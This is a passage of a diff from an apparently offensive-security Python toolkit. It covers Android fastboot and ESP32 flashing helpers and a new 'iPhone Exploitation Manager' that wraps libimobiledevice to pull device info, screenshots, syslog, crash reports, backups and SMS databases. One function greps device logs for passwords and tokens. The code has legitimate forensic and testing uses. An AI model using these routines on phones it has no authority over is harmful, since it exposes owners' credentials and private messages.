||||||
|
)
|
||||||
|
return {'output': stdout or stderr, 'lines': lines}
|
||||||
|
|
||||||
|
# ── Fastboot Methods ───────────────────────────────────────────
|
||||||
|
|
||||||
|
def _run_fastboot(self, args, serial=None, timeout=30):
|
||||||
|
"""Run a fastboot command."""
|
||||||
|
if not self.fastboot_path:
|
||||||
|
return '', 'fastboot not found', 1
|
||||||
|
cmd = [self.fastboot_path]
|
||||||
|
if serial:
|
||||||
|
cmd += ['-s', serial]
|
||||||
|
cmd += args
|
||||||
|
try:
|
||||||
|
result = subprocess.run(
|
||||||
|
cmd, capture_output=True, text=True, timeout=timeout
|
||||||
|
)
|
||||||
|
# fastboot outputs to stderr for many commands
|
||||||
|
return result.stdout, result.stderr, result.returncode
|
||||||
|
except subprocess.TimeoutExpired:
|
||||||
|
return '', 'Command timed out', 1
|
||||||
|
except Exception as e:
|
||||||
|
return '', str(e), 1
|
||||||
|
|
||||||
|
def fastboot_devices(self):
|
||||||
|
"""List fastboot devices."""
|
||||||
|
stdout, stderr, rc = self._run_fastboot(['devices'])
|
||||||
|
if rc != 0:
|
||||||
|
return []
|
||||||
|
devices = []
|
||||||
|
output = stdout or stderr
|
||||||
|
for line in output.strip().split('\n'):
|
||||||
|
line = line.strip()
|
||||||
|
if not line:
|
||||||
|
continue
|
||||||
|
parts = line.split('\t')
|
||||||
|
if len(parts) >= 2:
|
||||||
|
devices.append({
|
||||||
|
'serial': parts[0].strip(),
|
||||||
|
'state': parts[1].strip(),
|
||||||
|
})
|
||||||
|
return devices
|
||||||
|
|
||||||
|
def fastboot_device_info(self, serial):
|
||||||
|
"""Get fastboot device variables."""
|
||||||
|
info = {}
|
||||||
|
vars_to_get = [
|
||||||
|
'product', 'variant', 'serialno', 'secure', 'unlocked',
|
||||||
|
'is-userspace', 'hw-revision', 'battery-level',
|
||||||
|
'current-slot', 'slot-count',
|
||||||
|
]
|
||||||
|
for var in vars_to_get:
|
||||||
|
stdout, stderr, rc = self._run_fastboot(
|
||||||
|
['getvar', var], serial=serial, timeout=10
|
||||||
|
)
|
||||||
|
output = stderr or stdout # fastboot puts getvar in stderr
|
||||||
|
for line in output.split('\n'):
|
||||||
|
if line.startswith(f'{var}:'):
|
||||||
|
info[var] = line.split(':', 1)[1].strip()
|
||||||
|
break
|
||||||
|
info['serial'] = serial
|
||||||
|
return info
|
||||||
|
|
||||||
|
def fastboot_flash(self, serial, partition, filepath):
|
||||||
|
"""Flash a partition. Returns operation ID for progress tracking."""
|
||||||
|
if not os.path.isfile(filepath):
|
||||||
|
return {'success': False, 'error': f'File not found: {filepath}'}
|
||||||
|
|
||||||
|
valid_partitions = [
|
||||||
|
'boot', 'recovery', 'system', 'vendor', 'vbmeta', 'dtbo',
|
||||||
|
'radio', 'bootloader', 'super', 'userdata', 'cache',
|
||||||
|
'product', 'system_ext', 'vendor_boot', 'init_boot',
|
||||||
|
]
|
||||||
|
if partition not in valid_partitions:
|
||||||
|
return {'success': False, 'error': f'Invalid partition: {partition}'}
|
||||||
|
|
||||||
|
op_id = f'flash_{int(time.time())}'
|
||||||
|
with self._operation_lock:
|
||||||
|
self._operation_progress[op_id] = {
|
||||||
|
'status': 'starting', 'progress': 0,
|
||||||
|
'message': f'Flashing {partition}...',
|
||||||
|
}
|
||||||
|
|
||||||
|
def _do_flash():
|
||||||
|
try:
|
||||||
|
with self._operation_lock:
|
||||||
|
self._operation_progress[op_id]['status'] = 'running'
|
||||||
|
self._operation_progress[op_id]['progress'] = 10
|
||||||
|
|
||||||
|
result = subprocess.run(
|
||||||
|
[self.fastboot_path, '-s', serial, 'flash', partition, filepath],
|
||||||
|
capture_output=True, text=True, timeout=600,
|
||||||
|
)
|
||||||
|
|
||||||
|
with self._operation_lock:
|
||||||
|
output = result.stderr or result.stdout
|
||||||
|
if result.returncode == 0:
|
||||||
|
self._operation_progress[op_id] = {
|
||||||
|
'status': 'done', 'progress': 100,
|
||||||
|
'message': f'Flashed {partition} successfully',
|
||||||
|
'output': output,
|
||||||
|
}
|
||||||
|
else:
|
||||||
|
self._operation_progress[op_id] = {
|
||||||
|
'status': 'error', 'progress': 0,
|
||||||
|
'message': output or 'Flash failed',
|
||||||
|
}
|
||||||
|
except Exception as e:
|
||||||
|
with self._operation_lock:
|
||||||
|
self._operation_progress[op_id] = {
|
||||||
|
'status': 'error', 'progress': 0, 'message': str(e),
|
||||||
|
}
|
||||||
|
|
||||||
|
thread = threading.Thread(target=_do_flash, daemon=True)
|
||||||
|
thread.start()
|
||||||
|
return {'success': True, 'op_id': op_id}
|
||||||
|
|
||||||
|
def fastboot_reboot(self, serial, mode='system'):
|
||||||
|
"""Reboot a fastboot device. mode: system, bootloader, recovery"""
|
||||||
|
if mode == 'system':
|
||||||
|
args = ['reboot']
|
||||||
|
elif mode == 'bootloader':
|
||||||
|
args = ['reboot-bootloader']
|
||||||
|
elif mode == 'recovery':
|
||||||
|
args = ['reboot', 'recovery']
|
||||||
|
else:
|
||||||
|
args = ['reboot']
|
||||||
|
stdout, stderr, rc = self._run_fastboot(args, serial=serial, timeout=15)
|
||||||
|
return {'success': rc == 0, 'output': stderr or stdout}
|
||||||
|
|
||||||
|
def fastboot_oem_unlock(self, serial):
|
||||||
|
"""OEM unlock (requires user confirmation in UI)."""
|
||||||
|
stdout, stderr, rc = self._run_fastboot(
|
||||||
|
['flashing', 'unlock'], serial=serial, timeout=30
|
||||||
|
)
|
||||||
|
return {'success': rc == 0, 'output': stderr or stdout}
|
||||||
|
|
||||||
|
def get_operation_progress(self, op_id):
|
||||||
|
"""Get progress for a running operation."""
|
||||||
|
with self._operation_lock:
|
||||||
|
return self._operation_progress.get(op_id, {
|
||||||
|
'status': 'unknown', 'progress': 0, 'message': 'Unknown operation',
|
||||||
|
})
|
||||||
|
|
||||||
|
# ── Serial / ESP32 Methods ─────────────────────────────────────
|
||||||
|
|
||||||
|
def list_serial_ports(self):
|
||||||
|
"""List available serial ports."""
|
||||||
|
if not PYSERIAL_AVAILABLE:
|
||||||
|
return []
|
||||||
|
ports = []
|
||||||
|
for port in serial.tools.list_ports.comports():
|
||||||
|
ports.append({
|
||||||
|
'port': port.device,
|
||||||
|
'desc': port.description,
|
||||||
|
'hwid': port.hwid,
|
||||||
|
'vid': f'{port.vid:04x}' if port.vid else '',
|
||||||
|
'pid': f'{port.pid:04x}' if port.pid else '',
|
||||||
|
'manufacturer': port.manufacturer or '',
|
||||||
|
'serial_number': port.serial_number or '',
|
||||||
|
})
|
||||||
|
return ports
|
||||||
|
|
||||||
|
def detect_esp_chip(self, port, baud=115200):
|
||||||
|
"""Detect ESP chip type using esptool."""
|
||||||
|
if not ESPTOOL_AVAILABLE:
|
||||||
|
return {'success': False, 'error': 'esptool not installed'}
|
||||||
|
try:
|
||||||
|
result = subprocess.run(
|
||||||
|
['python3', '-m', 'esptool', '--port', port, '--baud', str(baud), 'chip_id'],
|
||||||
|
capture_output=True, text=True, timeout=15,
|
||||||
|
)
|
||||||
|
output = result.stdout + result.stderr
|
||||||
|
chip = 'Unknown'
|
||||||
|
chip_id = ''
|
||||||
|
for line in output.split('\n'):
|
||||||
|
if 'Chip is' in line:
|
||||||
|
chip = line.split('Chip is')[1].strip()
|
||||||
|
elif 'Chip ID:' in line:
|
||||||
|
chip_id = line.split('Chip ID:')[1].strip()
|
||||||
|
return {
|
||||||
|
'success': result.returncode == 0,
|
||||||
|
'chip': chip,
|
||||||
|
'chip_id': chip_id,
|
||||||
|
'output': output,
|
||||||
|
}
|
||||||
|
except subprocess.TimeoutExpired:
|
||||||
|
return {'success': False, 'error': 'Detection timed out'}
|
||||||
|
except Exception as e:
|
||||||
|
return {'success': False, 'error': str(e)}
|
||||||
|
|
||||||
|
def flash_esp(self, port, firmware_path, baud=460800):
|
||||||
|
"""Flash ESP32 firmware. Returns operation ID for progress tracking."""
|
||||||
|
if not ESPTOOL_AVAILABLE:
|
||||||
|
return {'success': False, 'error': 'esptool not installed'}
|
||||||
|
if not os.path.isfile(firmware_path):
|
||||||
|
return {'success': False, 'error': f'File not found: {firmware_path}'}
|
||||||
|
|
||||||
|
op_id = f'esp_flash_{int(time.time())}'
|
||||||
|
with self._operation_lock:
|
||||||
|
self._operation_progress[op_id] = {
|
||||||
|
'status': 'starting', 'progress': 0,
|
||||||
|
'message': 'Starting ESP flash...',
|
||||||
|
}
|
||||||
|
|
||||||
|
def _do_flash():
|
||||||
|
try:
|
||||||
|
with self._operation_lock:
|
||||||
|
self._operation_progress[op_id]['status'] = 'running'
|
||||||
|
self._operation_progress[op_id]['progress'] = 5
|
||||||
|
self._operation_progress[op_id]['message'] = 'Connecting to chip...'
|
||||||
|
|
||||||
|
cmd = [
|
||||||
|
'python3', '-m', 'esptool',
|
||||||
|
'--port', port,
|
||||||
|
'--baud', str(baud),
|
||||||
|
'write_flash', '0x0', firmware_path,
|
||||||
|
]
|
||||||
|
proc = subprocess.Popen(
|
||||||
|
cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True,
|
||||||
|
)
|
||||||
|
|
||||||
|
output_lines = []
|
||||||
|
for line in proc.stdout:
|
||||||
|
line = line.strip()
|
||||||
|
output_lines.append(line)
|
||||||
|
|
||||||
|
# Parse progress from esptool output
|
||||||
|
if 'Writing at' in line and '%' in line:
|
||||||
|
m = re.search(r'\((\d+)\s*%\)', line)
|
||||||
|
if m:
|
||||||
|
pct = int(m.group(1))
|
||||||
|
with self._operation_lock:
|
||||||
|
self._operation_progress[op_id]['progress'] = pct
|
||||||
|
self._operation_progress[op_id]['message'] = f'Flashing... {pct}%'
|
||||||
|
elif 'Connecting' in line:
|
||||||
|
with self._operation_lock:
|
||||||
|
self._operation_progress[op_id]['message'] = 'Connecting...'
|
||||||
|
elif 'Erasing' in line:
|
||||||
|
with self._operation_lock:
|
||||||
|
self._operation_progress[op_id]['progress'] = 3
|
||||||
|
self._operation_progress[op_id]['message'] = 'Erasing flash...'
|
||||||
|
|
||||||
|
proc.wait(timeout=300)
|
||||||
|
output = '\n'.join(output_lines)
|
||||||
|
|
||||||
|
with self._operation_lock:
|
||||||
|
if proc.returncode == 0:
|
||||||
|
self._operation_progress[op_id] = {
|
||||||
|
'status': 'done', 'progress': 100,
|
||||||
|
'message': 'Flash complete',
|
||||||
|
'output': output,
|
||||||
|
}
|
||||||
|
else:
|
||||||
|
self._operation_progress[op_id] = {
|
||||||
|
'status': 'error', 'progress': 0,
|
||||||
|
'message': output or 'Flash failed',
|
||||||
|
}
|
||||||
|
except Exception as e:
|
||||||
|
with self._operation_lock:
|
||||||
|
self._operation_progress[op_id] = {
|
||||||
|
'status': 'error', 'progress': 0, 'message': str(e),
|
||||||
|
}
|
||||||
|
|
||||||
|
thread = threading.Thread(target=_do_flash, daemon=True)
|
||||||
|
thread.start()
|
||||||
|
return {'success': True, 'op_id': op_id}
|
||||||
|
|
||||||
|
# ── Serial Monitor ─────────────────────────────────────────────
|
||||||
|
|
||||||
|
def serial_monitor_start(self, port, baud=115200):
|
||||||
|
"""Start serial monitor on a port."""
|
||||||
|
if not PYSERIAL_AVAILABLE:
|
||||||
|
return {'success': False, 'error': 'pyserial not installed'}
|
||||||
|
if self._monitor_running:
|
||||||
|
return {'success': False, 'error': 'Monitor already running'}
|
||||||
|
|
||||||
|
try:
|
||||||
|
self._monitor_serial = serial.Serial(port, baud, timeout=0.1)
|
||||||
|
except Exception as e:
|
||||||
|
return {'success': False, 'error': str(e)}
|
||||||
|
|
||||||
|
self._monitor_running = True
|
||||||
|
self._monitor_buffer = []
|
||||||
|
|
||||||
|
def _read_loop():
|
||||||
|
while self._monitor_running and self._monitor_serial and self._monitor_serial.is_open:
|
||||||
|
try:
|
||||||
|
data = self._monitor_serial.readline()
|
||||||
|
if data:
|
||||||
|
text = data.decode('utf-8', errors='replace').rstrip()
|
||||||
|
with self._monitor_lock:
|
||||||
|
self._monitor_buffer.append({
|
||||||
|
'time': time.time(),
|
||||||
|
'data': text,
|
||||||
|
})
|
||||||
|
# Keep buffer manageable
|
||||||
|
if len(self._monitor_buffer) > 5000:
|
||||||
|
self._monitor_buffer = self._monitor_buffer[-3000:]
|
||||||
|
except Exception:
|
||||||
|
if not self._monitor_running:
|
||||||
|
break
|
||||||
|
time.sleep(0.1)
|
||||||
|
|
||||||
|
self._monitor_thread = threading.Thread(target=_read_loop, daemon=True)
|
||||||
|
self._monitor_thread.start()
|
||||||
|
return {'success': True, 'port': port, 'baud': baud}
|
||||||
|
|
||||||
|
def serial_monitor_stop(self):
|
||||||
|
"""Stop serial monitor."""
|
||||||
|
self._monitor_running = False
|
||||||
|
if self._monitor_serial and self._monitor_serial.is_open:
|
||||||
|
try:
|
||||||
|
self._monitor_serial.close()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
self._monitor_serial = None
|
||||||
|
return {'success': True}
|
||||||
|
|
||||||
|
def serial_monitor_send(self, data):
|
||||||
|
"""Send data to the monitored serial port."""
|
||||||
|
if not self._monitor_running or not self._monitor_serial:
|
||||||
|
return {'success': False, 'error': 'Monitor not running'}
|
||||||
|
try:
|
||||||
|
self._monitor_serial.write((data + '\n').encode('utf-8'))
|
||||||
|
return {'success': True}
|
||||||
|
except Exception as e:
|
||||||
|
return {'success': False, 'error': str(e)}
|
||||||
|
|
||||||
|
def serial_monitor_get_output(self, since_index=0):
|
||||||
|
"""Get buffered serial output since given index."""
|
||||||
|
with self._monitor_lock:
|
||||||
|
data = self._monitor_buffer[since_index:]
|
||||||
|
return {
|
||||||
|
'lines': data,
|
||||||
|
'total': len(self._monitor_buffer),
|
||||||
|
'running': self._monitor_running,
|
||||||
|
}
|
||||||
|
|
||||||
|
@property
|
||||||
|
def monitor_running(self):
|
||||||
|
return self._monitor_running
|
||||||
|
|
||||||
|
|
||||||
|
# ── Singleton ──────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
_manager = None
|
||||||
|
|
||||||
|
def get_hardware_manager():
|
||||||
|
global _manager
|
||||||
|
if _manager is None:
|
||||||
|
_manager = HardwareManager()
|
||||||
|
return _manager
|
||||||
683
core/iphone_exploit.py
Normal file
683
core/iphone_exploit.py
Normal file
@ -0,0 +1,683 @@
|
|||||||
|
"""
|
||||||
|
AUTARCH iPhone Exploitation Manager
|
||||||
|
Local USB device access via libimobiledevice tools.
|
||||||
|
Device info, screenshots, syslog, app management, backup extraction,
|
||||||
|
filesystem mounting, provisioning profiles, port forwarding.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import json
|
||||||
|
import time
|
||||||
|
import shutil
|
||||||
|
import sqlite3
|
||||||
|
import subprocess
|
||||||
|
import plistlib
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Optional, Dict, Any
|
||||||
|
|
||||||
|
from core.paths import get_data_dir, find_tool
|
||||||
|
|
||||||
|
|
||||||
|
class IPhoneExploitManager:
|
||||||
|
"""All iPhone USB exploitation logic using libimobiledevice."""
|
||||||
|
|
||||||
|
# Tools we look for
|
||||||
|
TOOLS = [
|
||||||
|
'idevice_id', 'ideviceinfo', 'idevicepair', 'idevicename',
|
||||||
|
'idevicedate', 'idevicescreenshot', 'idevicesyslog',
|
||||||
|
'idevicecrashreport', 'idevicediagnostics', 'ideviceinstaller',
|
||||||
|
'idevicebackup2', 'ideviceprovision', 'idevicedebug',
|
||||||
|
'ideviceactivation', 'ifuse', 'iproxy',
|
||||||
|
]
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self._base = get_data_dir() / 'iphone_exploit'
|
||||||
|
for sub in ('backups', 'screenshots', 'recon', 'apps', 'crash_reports'):
|
||||||
|
(self._base / sub).mkdir(parents=True, exist_ok=True)
|
||||||
|
# Find available tools
|
||||||
|
self._tools = {}
|
||||||
|
for name in self.TOOLS:
|
||||||
|
path = find_tool(name)
|
||||||
|
if not path:
|
||||||
|
path = shutil.which(name)
|
||||||
|
if path:
|
||||||
|
self._tools[name] = path
|
||||||
|
|
||||||
|
def _udid_dir(self, category, udid):
|
||||||
|
d = self._base / category / udid
|
||||||
|
d.mkdir(parents=True, exist_ok=True)
|
||||||
|
return d
|
||||||
|
|
||||||
|
def _run(self, tool_name, args, timeout=30):
|
||||||
|
"""Run a libimobiledevice tool."""
|
||||||
|
path = self._tools.get(tool_name)
|
||||||
|
if not path:
|
||||||
|
return '', f'{tool_name} not found', 1
|
||||||
|
cmd = [path] + args
|
||||||
|
try:
|
||||||
|
result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
|
||||||
|
return result.stdout, result.stderr, result.returncode
|
||||||
|
except subprocess.TimeoutExpired:
|
||||||
|
return '', 'Command timed out', 1
|
||||||
|
except Exception as e:
|
||||||
|
return '', str(e), 1
|
||||||
|
|
||||||
|
def _run_udid(self, tool_name, udid, args, timeout=30):
|
||||||
|
"""Run tool with -u UDID flag."""
|
||||||
|
return self._run(tool_name, ['-u', udid] + args, timeout=timeout)
|
||||||
|
|
||||||
|
def get_status(self):
|
||||||
|
"""Get availability of libimobiledevice tools."""
|
||||||
|
available = {name: bool(path) for name, path in self._tools.items()}
|
||||||
|
total = len(self.TOOLS)
|
||||||
|
found = sum(1 for v in available.values() if v)
|
||||||
|
return {
|
||||||
|
'tools': available,
|
||||||
|
'total': total,
|
||||||
|
'found': found,
|
||||||
|
'ready': found >= 3, # At minimum need idevice_id, ideviceinfo, idevicepair
|
||||||
|
}
|
||||||
|
|
||||||
|
# ── Device Management ────────────────────────────────────────────
|
||||||
|
|
||||||
|
def list_devices(self):
|
||||||
|
"""List connected iOS devices."""
|
||||||
|
stdout, stderr, rc = self._run('idevice_id', ['-l'])
|
||||||
|
if rc != 0:
|
||||||
|
return []
|
||||||
|
devices = []
|
||||||
|
for line in stdout.strip().split('\n'):
|
||||||
|
udid = line.strip()
|
||||||
|
if udid:
|
||||||
|
info = self.device_info_brief(udid)
|
||||||
|
devices.append({
|
||||||
|
'udid': udid,
|
||||||
|
'name': info.get('DeviceName', ''),
|
||||||
|
'model': info.get('ProductType', ''),
|
||||||
|
'ios_version': info.get('ProductVersion', ''),
|
||||||
|
})
|
||||||
|
return devices
|
||||||
|
|
||||||
|
def device_info(self, udid):
|
||||||
|
"""Get full device information."""
|
||||||
|
stdout, stderr, rc = self._run_udid('ideviceinfo', udid, [])
|
||||||
|
if rc != 0:
|
||||||
|
return {'error': stderr or 'Cannot get device info'}
|
||||||
|
info = {}
|
||||||
|
for line in stdout.split('\n'):
|
||||||
|
if ':' in line:
|
||||||
|
key, _, val = line.partition(':')
|
||||||
|
info[key.strip()] = val.strip()
|
||||||
|
return info
|
||||||
|
|
||||||
|
def device_info_brief(self, udid):
|
||||||
|
"""Get key device info (name, model, iOS version)."""
|
||||||
|
keys = ['DeviceName', 'ProductType', 'ProductVersion', 'BuildVersion',
|
||||||
|
'SerialNumber', 'UniqueChipID', 'WiFiAddress', 'BluetoothAddress']
|
||||||
|
info = {}
|
||||||
|
for key in keys:
|
||||||
|
stdout, _, rc = self._run_udid('ideviceinfo', udid, ['-k', key])
|
||||||
|
if rc == 0:
|
||||||
|
info[key] = stdout.strip()
|
||||||
|
return info
|
||||||
|
|
||||||
|
def device_info_domain(self, udid, domain):
|
||||||
|
"""Get device info for a specific domain."""
|
||||||
|
stdout, stderr, rc = self._run_udid('ideviceinfo', udid, ['-q', domain])
|
||||||
|
if rc != 0:
|
||||||
|
return {'error': stderr}
|
||||||
|
info = {}
|
||||||
|
for line in stdout.split('\n'):
|
||||||
|
if ':' in line:
|
||||||
|
key, _, val = line.partition(':')
|
||||||
|
info[key.strip()] = val.strip()
|
||||||
|
return info
|
||||||
|
|
||||||
|
def pair_device(self, udid):
|
||||||
|
"""Pair with device (requires user trust on device)."""
|
||||||
|
stdout, stderr, rc = self._run_udid('idevicepair', udid, ['pair'])
|
||||||
|
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
|
||||||
|
|
||||||
|
def unpair_device(self, udid):
|
||||||
|
"""Unpair from device."""
|
||||||
|
stdout, stderr, rc = self._run_udid('idevicepair', udid, ['unpair'])
|
||||||
|
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
|
||||||
|
|
||||||
|
def validate_pair(self, udid):
|
||||||
|
"""Check if device is properly paired."""
|
||||||
|
stdout, stderr, rc = self._run_udid('idevicepair', udid, ['validate'])
|
||||||
|
return {'success': rc == 0, 'paired': rc == 0, 'output': (stdout or stderr).strip()}
|
||||||
|
|
||||||
|
def get_name(self, udid):
|
||||||
|
"""Get device name."""
|
||||||
|
stdout, stderr, rc = self._run_udid('idevicename', udid, [])
|
||||||
|
return {'success': rc == 0, 'name': stdout.strip()}
|
||||||
|
|
||||||
|
def set_name(self, udid, name):
|
||||||
|
"""Set device name."""
|
||||||
|
stdout, stderr, rc = self._run_udid('idevicename', udid, [name])
|
||||||
|
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
|
||||||
|
|
||||||
|
def get_date(self, udid):
|
||||||
|
"""Get device date/time."""
|
||||||
|
stdout, stderr, rc = self._run_udid('idevicedate', udid, [])
|
||||||
|
return {'success': rc == 0, 'date': stdout.strip()}
|
||||||
|
|
||||||
|
def set_date(self, udid, timestamp):
|
||||||
|
"""Set device date (epoch timestamp)."""
|
||||||
|
stdout, stderr, rc = self._run_udid('idevicedate', udid, ['-s', str(timestamp)])
|
||||||
|
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
|
||||||
|
|
||||||
|
def restart_device(self, udid):
|
||||||
|
"""Restart device."""
|
||||||
|
stdout, stderr, rc = self._run_udid('idevicediagnostics', udid, ['restart'])
|
||||||
|
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
|
||||||
|
|
||||||
|
def shutdown_device(self, udid):
|
||||||
|
"""Shutdown device."""
|
||||||
|
stdout, stderr, rc = self._run_udid('idevicediagnostics', udid, ['shutdown'])
|
||||||
|
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
|
||||||
|
|
||||||
|
def sleep_device(self, udid):
|
||||||
|
"""Put device to sleep."""
|
||||||
|
stdout, stderr, rc = self._run_udid('idevicediagnostics', udid, ['sleep'])
|
||||||
|
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
|
||||||
|
|
||||||
|
# ── Screenshot & Syslog ──────────────────────────────────────────
|
||||||
|
|
||||||
|
def screenshot(self, udid):
|
||||||
|
"""Take a screenshot."""
|
||||||
|
out_dir = self._udid_dir('screenshots', udid)
|
||||||
|
filename = f'screen_{int(time.time())}.png'
|
||||||
|
filepath = str(out_dir / filename)
|
||||||
|
stdout, stderr, rc = self._run_udid('idevicescreenshot', udid, [filepath])
|
||||||
|
if rc == 0 and os.path.exists(filepath):
|
||||||
|
return {'success': True, 'path': filepath, 'size': os.path.getsize(filepath)}
|
||||||
|
return {'success': False, 'error': (stderr or stdout).strip()}
|
||||||
|
|
||||||
|
def syslog_dump(self, udid, duration=5):
|
||||||
|
"""Capture syslog for a duration."""
|
||||||
|
out_dir = self._udid_dir('recon', udid)
|
||||||
|
logfile = str(out_dir / f'syslog_{int(time.time())}.txt')
|
||||||
|
try:
|
||||||
|
proc = subprocess.Popen(
|
||||||
|
[self._tools.get('idevicesyslog', 'idevicesyslog'), '-u', udid],
|
||||||
|
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True
|
||||||
|
)
|
||||||
|
time.sleep(duration)
|
||||||
|
proc.terminate()
|
||||||
|
stdout, _ = proc.communicate(timeout=3)
|
||||||
|
with open(logfile, 'w') as f:
|
||||||
|
f.write(stdout)
|
||||||
|
return {'success': True, 'path': logfile, 'lines': len(stdout.split('\n'))}
|
||||||
|
except Exception as e:
|
||||||
|
return {'success': False, 'error': str(e)}
|
||||||
|
|
||||||
|
def syslog_grep(self, udid, pattern, duration=5):
|
||||||
|
"""Capture syslog and grep for pattern (passwords, tokens, etc)."""
|
||||||
|
result = self.syslog_dump(udid, duration=duration)
|
||||||
|
if not result['success']:
|
||||||
|
return result
|
||||||
|
matches = []
|
||||||
|
try:
|
||||||
|
with open(result['path']) as f:
|
||||||
|
for line in f:
|
||||||
|
if re.search(pattern, line, re.IGNORECASE):
|
||||||
|
matches.append(line.strip())
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return {'success': True, 'matches': matches, 'count': len(matches), 'pattern': pattern}
|
||||||
|
|
||||||
|
def crash_reports(self, udid):
|
||||||
|
"""Pull crash reports from device."""
|
||||||
|
out_dir = self._udid_dir('crash_reports', udid)
|
||||||
|
stdout, stderr, rc = self._run_udid('idevicecrashreport', udid,
|
||||||
|
['-e', str(out_dir)], timeout=60)
|
||||||
|
if rc == 0:
|
||||||
|
files = list(out_dir.iterdir()) if out_dir.exists() else []
|
||||||
|
return {'success': True, 'output_dir': str(out_dir),
|
||||||
|
'count': len(files), 'output': stdout.strip()}
|
||||||
|
return {'success': False, 'error': (stderr or stdout).strip()}
|
||||||
|
|
||||||
|
# ── App Management ───────────────────────────────────────────────
|
||||||
|
|
||||||
|
def list_apps(self, udid, app_type='user'):
|
||||||
|
"""List installed apps. type: user, system, all."""
|
||||||
|
flags = {
|
||||||
|
'user': ['-l', '-o', 'list_user'],
|
||||||
|
'system': ['-l', '-o', 'list_system'],
|
||||||
|
'all': ['-l', '-o', 'list_all'],
|
||||||
|
}
|
||||||
|
args = flags.get(app_type, ['-l'])
|
||||||
|
stdout, stderr, rc = self._run_udid('ideviceinstaller', udid, args, timeout=30)
|
||||||
|
if rc != 0:
|
||||||
|
return {'success': False, 'error': (stderr or stdout).strip(), 'apps': []}
|
||||||
|
apps = []
|
||||||
|
for line in stdout.strip().split('\n'):
|
||||||
|
line = line.strip()
|
||||||
|
if not line or line.startswith('CFBundle') or line.startswith('Total'):
|
||||||
|
continue
|
||||||
|
# Format: com.example.app, "App Name", "1.0"
|
||||||
|
parts = line.split(',', 2)
|
||||||
|
if parts:
|
||||||
|
app = {'bundle_id': parts[0].strip().strip('"')}
|
||||||
|
if len(parts) >= 2:
|
||||||
|
app['name'] = parts[1].strip().strip('"')
|
||||||
|
if len(parts) >= 3:
|
||||||
|
app['version'] = parts[2].strip().strip('"')
|
||||||
|
apps.append(app)
|
||||||
|
return {'success': True, 'apps': apps, 'count': len(apps)}
|
||||||
|
|
||||||
|
def install_app(self, udid, ipa_path):
|
||||||
|
"""Install an IPA on device."""
|
||||||
|
if not os.path.isfile(ipa_path):
|
||||||
|
return {'success': False, 'error': f'File not found: {ipa_path}'}
|
||||||
|
stdout, stderr, rc = self._run_udid('ideviceinstaller', udid,
|
||||||
|
['-i', ipa_path], timeout=120)
|
||||||
|
return {'success': rc == 0, 'output': (stdout or stderr).strip()}
|
||||||
|
|
||||||
|
def uninstall_app(self, udid, bundle_id):
|
||||||
|
"""Uninstall an app by bundle ID."""
|
||||||
|
stdout, stderr, rc = self._run_udid('ideviceinstaller', udid,
|
||||||
|
['-U', bundle_id], timeout=30)
|
||||||
|
return {'success': rc == 0, 'bundle_id': bundle_id, 'output': (stdout or stderr).strip()}
|
||||||
|
|
||||||
|
# ── Backup & Data Extraction ─────────────────────────────────────
|
||||||
|
|
||||||
|
def create_backup(self, udid, encrypted=False, password=''):
|
||||||
|
"""Create a full device backup."""
|
||||||
|
backup_dir = str(self._base / 'backups')
|
||||||
|
args = ['backup', '--full', backup_dir]
|
||||||
|
if encrypted and password:
|
||||||
|
args = ['backup', '--full', backup_dir, '-p', password]
|
||||||
|
stdout, stderr, rc = self._run_udid('idevicebackup2', udid, args, timeout=600)
|
||||||
|
backup_path = os.path.join(backup_dir, udid)
|
||||||
|
success = os.path.isdir(backup_path)
|
||||||
|
return {
|
||||||
|
'success': success,
|
||||||
|
'backup_path': backup_path if success else None,
|
||||||
|
'encrypted': encrypted,
|
||||||
|
'output': (stdout or stderr).strip()[:500],
|
||||||
|
}
|
||||||
|
|
||||||
|
def list_backups(self):
|
||||||
|
"""List available local backups."""
|
||||||
|
backup_dir = self._base / 'backups'
|
||||||
|
backups = []
|
||||||
|
if backup_dir.exists():
|
||||||
|
for d in backup_dir.iterdir():
|
||||||
|
if d.is_dir():
|
||||||
|
manifest = d / 'Manifest.db'
|
||||||
|
info_plist = d / 'Info.plist'
|
||||||
|
backup_info = {'udid': d.name, 'path': str(d)}
|
||||||
|
if manifest.exists():
|
||||||
|
backup_info['has_manifest'] = True
|
||||||
|
backup_info['size_mb'] = sum(
|
||||||
|
f.stat().st_size for f in d.rglob('*') if f.is_file()
|
||||||
|
) / (1024 * 1024)
|
||||||
|
if info_plist.exists():
|
||||||
|
try:
|
||||||
|
with open(info_plist, 'rb') as f:
|
||||||
|
plist = plistlib.load(f)
|
||||||
|
backup_info['device_name'] = plist.get('Device Name', '')
|
||||||
|
backup_info['product_type'] = plist.get('Product Type', '')
|
||||||
|
backup_info['ios_version'] = plist.get('Product Version', '')
|
||||||
|
backup_info['date'] = str(plist.get('Last Backup Date', ''))
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
backups.append(backup_info)
|
||||||
|
return {'backups': backups, 'count': len(backups)}
|
||||||
|
|
||||||
|
def extract_backup_sms(self, backup_path):
|
||||||
|
"""Extract SMS/iMessage from a backup."""
|
||||||
|
manifest = os.path.join(backup_path, 'Manifest.db')
|
||||||
|
if not os.path.exists(manifest):
|
||||||
|
return {'success': False, 'error': 'Manifest.db not found'}
|
||||||
|
try:
|
||||||
|
conn = sqlite3.connect(manifest)
|
||||||
|
cur = conn.cursor()
|
||||||
|
# Find SMS database file hash
|
||||||
|
cur.execute("SELECT fileID FROM Files WHERE relativePath = 'Library/SMS/sms.db' AND domain = 'HomeDomain'")
|
||||||
|
row = cur.fetchone()
|
||||||
|
conn.close()
|
||||||
|
if not row:
|
||||||
|
return {'success': False, 'error': 'SMS database not found in backup'}
|
||||||
